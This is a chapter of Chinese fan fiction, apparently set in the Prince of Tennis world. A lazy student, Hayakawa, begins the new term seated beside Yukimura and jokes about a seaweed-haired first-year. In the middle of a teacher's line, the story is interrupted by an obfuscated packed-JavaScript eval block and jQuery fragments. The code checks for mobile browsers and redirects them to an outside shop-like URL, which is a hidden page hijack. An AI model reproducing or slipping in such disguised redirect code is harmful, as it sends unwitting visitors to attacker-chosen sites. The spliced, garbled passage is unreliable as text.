新学期,新气象。
蓝天,大海,还有奔跑中的少年。
空气里都弥漫着青春的味道。
升入国二的早川椿树慢悠悠蹬着自行车,咸鱼般的气质与其他人格格不入。
“哈——”
她张大嘴打了个哈欠,看起来一点精神也没有。
不过也是,任谁通宵补作业都不会有什么精神。
关键是,她还没补完!其实作业也不多,就是她补到一半中途睡着了……
想着书包里那几本还空着几大段的笔记本早川椿树就头大,不过那么多读书报告交上去,不可能一篇篇都看吧,少写些应该发现不了吧。
哦,上帝啊,希望她们的新班主任是个宽容善良的好人,就算发现也能饶她一命!
就在早川椿树祈求上帝的时候,有人跟猴子一样突然蹿了出来。
“抱歉抱歉,借过借过!”
那个人风一样掠过,早川椿树一个急刹,整个人都精神了。
什么啊,海藻?
她看着前面那风风火火的背影,头上那一团黑毛迎风招展,像极了水里扭动的海藻。
新生吗?这么有特色的发型她还是头回见。
早川椿树感叹一番又踏上了脚蹬,管他海不海藻,她得趁早去班上,说不定还能再补几笔。
她的想法很美好,但下一秒却又一个急刹停了下来。
“哇,今年的新生——”
早川椿树一整个目瞪口呆。
就在刚刚,那个发型很有特色的新生一个飞跃踩在了墙头,现在非常嚣张地开始大放厥词。
想成为立海大网球部的NO.1吗?真敢想哪。
早川椿树摩挲着下巴,脑中闪过了网球部那些人的影子。
虽然难度系数比较大,不过该说不说,这小学弟还挺帅气的。有志气,她喜欢!
***
“啊,二年D组,在这。”
找到新班级的早川椿树欢快地走了进去,不知道新班级新同学好不好相处呢……
然后她就看见了坐在后排靠窗位置上和别人谈笑风生的幸村精市。
她没有看别人班级的爱好,所以事先她也不知道自己居然又跟幸村精市同班了。
“日安早川,好久不见。”
似乎是察觉到她的注视,被围在中间的人朝她看了过来,还是一如既往的精神帅气呢。
“好久不见啊幸村,没想到又分到一个班了。”早川椿树见到熟人还是挺开心的,“之后也要多多指教了,各位也是。”
“当然,以后也请多多关照。”
和早就认识的同学和新认识的同学打过招呼,下一步就是找自己的座位。
早川椿树刚走到讲台旁想看一下座位表,又听到了幸村精市的声音。
“座位的话,早川你的位置就在我过道旁边哦。”
好巧,她初诣的大吉真的大吉了?
早川椿树震惊。
“没想到我们同班还能坐一块,我今年运气不错?”
早川椿树坐到自己的位置上,见他周围的同学散开,抽空开了句玩笑。
“那看来我们两个的运气都不错。”
幸村精市也用玩笑的语气回复道。
“对了,幸村,刚刚那个学弟你看到了吗?应该看到了吧,毕竟他可是公开挑战你哎,立海大附属初中网球部的NO.1同学,对此你有什么看法吗?”
早川椿树一边整理桌子一边八卦,两头不耽误。
“早川说的是跳上墙头的那个孩子吧,很有活力。”
一想到刚刚看到的场面,幸村精市的眼神就变得意味深长起来。
“孩子?我没记错的话,幸村你是三月份的生日吧,孩子什么的,严格说起来,幸村你和那个学弟大概是同龄生哎,毕竟你是卡着末点入校的。”
早川椿树开始掏出作业本了,她打算趁现在还早,赶紧再补一些内容上去。
“光看年龄的话是不是太不公平了,毕竟现在补着作业的早川你在我看来也像个孩子啊——特别是我昨天才看着由纪补完作业。”
幸村精市眼里透着一股不名的怜爱意味。
是她的错觉吗,她好像看到了慈父圣辉……
“我这是拖延症啊拖延症,不要把这种事混为一谈啊幸村!而且你的语气也太像欧吉桑了吧。”回过神来的早川椿树不满地反驳,手上开始加速,签字笔写得飞起,“话说,我们是不是偏题了?刚刚不是在讨论那个要挑战你宝座的小学弟吗,怎么歪到孩子上面来了?”
尽管头都抬不起来,早川椿树却依然坚持聊回正题。
“可能是因为老师来了吧。”
虽然这两者并没有什么关联,但早川椿树一下就合起了作业本,在新班主任甜美的声音响起时,面不改色地装作刚刚是在画画的样子。
台上的班主任热情招呼,台下的早川椿树开始大作。
原来新班主任姓佐藤啊,是教英语的,喜欢手工。
手上不停,脑子也不停的早川椿树默默听着佐藤老师爆出的各种信息。
哦,寒假作业她不收啊……
嗯?不对,她刚刚说什么?
早川椿树一个抬头,不可置信的样子完美融入了班级群体。
也就是说她刚刚急急忙忙白忙活了?
早川椿树下意识看向自己的作业本,又鬼使神差看了一眼旁边,本来在认真听佐藤老师介说话的人侧头看了她一眼,眉眼间淡淡的笑意一闪而过。
应该没有在嘲笑她吧?
早川椿树不确定地想着。
“新的学期见到新的同学是不是都很新奇?本来老师我啊是想遵循以往的教学方式请各位挨个介绍自己的,但是呢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365243|199806||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,今年我们就不这么死板了,大家先自由交流吧,老师相信你们会很快熟悉起来的。”
竟然去掉了那么尴尬的自我介绍环节吗?
早川椿树的心情又明朗了起来,连带着白补作业的郁闷一扫而空。她想上帝一定是听到了她的祈祷,所以她这一年的班主任才会这么人美心善!
而佐藤老师给的这段自由交流时间,有些人腼腆被动,有些人蠢蠢欲动。
坐在早川椿树前面的女生转过身来跟她打招呼,圆脸杏眼,是个相当面善的女孩子。
“你好同学,我以后就是你前桌了,我叫栗原薰,叫我栗原就好,以后请多指教。”
“你好,我是早川椿树,你也叫我早川好了,请多指教。”
“你在打草稿吗,这是什么数学题啊,看起来好高深的样子。”
看得出来,栗原好奇很久了,眨着亮晶晶的双眼,打完招呼就迫不及待地询问。
“啊,这个啊……”
早川椿树的目光落在自己手边那一团乱糟糟的黑白线条,有些语塞。
就算她画得再怎么抽象,也不至于会被认成数学草稿吧,难道栗原她是数学迷吗?
“这其实不是草稿,是画啦。”
早川椿树强颜欢笑。
“哎?哎?!”
栗原难以置信地盯着那画瞧,经过一番仔细辨认,她不得不承认是她看走了眼。
“抱歉抱歉早川,我倒着看看不太出来,这样正着就好很多了,画得很好欸。”
栗原生硬的话术怎么听都像是替她挽尊啊,早川椿树欲哭无泪。
“不,栗原,你不用安慰我,我画画技术本来就不好,只是兴趣而已。”
早川椿树虽然一直在走抽象派画风,但她对自己还是有自知之明的——她没什么艺术天赋。
“能坚持自己的兴趣也已经很厉害了啦。”栗原讪讪一笑,“对了早川,你画的是什么啊?”
“要不要猜猜看?”早川椿树笑眯眯地举着那张“草稿”,“猜对有奖哦。”
说实话她一直坚这种抽象画除了兴趣外,还有一个原因。
“草丛?”
“树林?”
“头发?”
连续三猜都只得到早川椿树的摇头否认,栗原挠挠脸实在看不出这是什么。
“啊——我放弃……”
早川椿树丝毫不觉得意外,不如说她想要的就是这个,毕竟看别人抓耳挠腮猜不出的样子还蛮有趣的。
“所以,早川你画的到底是什么啊?”
“是海……”
“海藻。”
被抢答了,早川椿树闻声看过去,正对上那人紫罗兰色的眼睛。
啊,真是……
她在心里感叹:
——能看懂她画的能是什么正常人?幸村精市此人,果然抽象满级。